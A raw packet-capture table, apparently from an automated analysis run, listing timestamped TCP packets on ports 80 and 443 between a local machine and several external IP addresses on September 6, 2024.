Sep 6, 2024 08:17:07.532946110 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.532984018 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.533018112 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533025026 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533054113 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.533063889 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533070087 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533087015 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533106089 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.533111095 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533117056 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533149004 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.533209085 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533220053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533231020 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533236027 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533241034 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533246994 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533257961 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533268929 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533273935 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533277035 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.533302069 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.533304930 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533310890 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533322096 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533328056 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533334017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533343077 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.533380985 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.533380985 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.533405066 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533411026 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533416986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533421993 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533447027 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.533448935 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533456087 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533467054 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533469915 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.533499002 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.534286976 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.534749031 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.534778118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.534782887 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.534796000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.534801960 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.534812927 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.534820080 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.534826040 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.534837008 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.534857988 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.534962893 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.534970045 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.534981966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535037041 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.535058022 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535063982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535074949 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535079956 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535085917 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535092115 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535094023 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.535098076 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535114050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535120010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535125971 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535125971 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.535131931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535137892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535157919 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.535171986 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.535171986 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.535433054 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.535600901 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535607100 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535617113 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535620928 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535626888 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535633087 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535640001 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535650969 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.535667896 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.535703897 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.535703897 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.538075924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.538088083 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.538094044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.538099051 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.538105011 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.538115978 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.538121939 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.538139105 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.538239956 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.538239956 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.540225029 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540255070 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540318966 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540324926 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540337086 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540342093 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540348053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540407896 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540425062 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.540425062 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.540560007 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540566921 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540580988 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540600061 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.540616035 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540617943 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.540621996 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540632963 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540652037 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.540662050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540667057 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540678024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540682077 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540698051 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.540714025 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540719986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540730000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.540750027 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.541235924 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.541241884 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.541254044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.541301012 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.541315079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.541320086 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.541331053 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.541337013 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.541343927 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.541349888 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.541389942 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.541389942 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.541697025 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.541702986 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.541747093 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.542867899 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.546458960 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.546466112 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.546472073 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.546566963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.546578884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.546586037 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.546591043 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.546596050 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.546597958 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.546622038 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.549441099 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.549457073 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.549472094 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.549521923 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.549521923 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.549540997 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.549720049 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.549742937 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.549789906 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.549789906 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.549797058 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.550079107 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.550091982 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.550262928 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.550267935 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.550333977 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.550355911 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.550380945 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.550384998 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.550405025 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.550740004 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.550754070 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.550765991 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.550770044 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.550820112 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.550821066 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.551099062 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.551122904 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.551172972 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.551172972 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.551178932 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.551314116 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.551372051 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.551393032 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.551460981 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.551460981 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.551465988 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.551553011 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.551707983 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.551723003 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.551772118 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.551776886 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.551870108 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.565850019 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.565942049 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.565947056 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.565953016 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.565958023 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.565968037 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.565973997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.565975904 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.565995932 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.566013098 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.566085100 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.592458010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.592463970 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.592474937 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.592493057 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.592499971 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.592505932 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.592511892 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.592529058 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.592561007 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.592637062 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.592709064 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.596468925 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596477032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596494913 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596560955 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596566916 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596573114 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596585035 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596590042 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.596595049 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596612930 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.596647978 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596653938 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596659899 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596663952 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596689939 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.596704960 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596710920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596750975 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.596776962 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596795082 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596798897 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596831083 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.596846104 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596887112 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596894026 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.596899033 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596904993 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596910000 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596915960 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596932888 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.596959114 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.596959114 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.596976995 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.596999884 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597004890 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597016096 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597054005 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.597054005 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.597068071 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597079992 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597100973 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597106934 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597142935 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.597142935 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.597162962 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597208977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.597224951 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597265959 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597271919 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597278118 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597290039 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.597346067 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597352028 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597362995 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597368002 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597373009 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597388029 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.597405910 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597412109 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597418070 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597419977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.597423077 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.597441912 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.597441912 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.597702026 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.598531008 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.598536968 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.598543882 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.598592043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.598598003 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.598608971 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.598614931 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.598617077 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.598619938 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.598674059 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.598822117 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.598901987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.598907948 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.598913908 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.598999023 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599004984 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599016905 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599021912 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599028111 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599033117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599042892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599042892 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.599050045 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599062920 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.599062920 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.599095106 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599101067 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599117041 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599123001 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599128008 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599132061 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599143982 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.599143982 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.599145889 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599157095 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599184036 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.599184036 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.599184036 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.599253893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599258900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599266052 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599296093 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.599329948 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599335909 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599347115 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.599364996 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.599396944 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.599936962 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.599941015 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.599956989 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.599962950 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.599972963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.599978924 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.599989891 CEST	80	49734	176.113.115.33	192.168.2.4
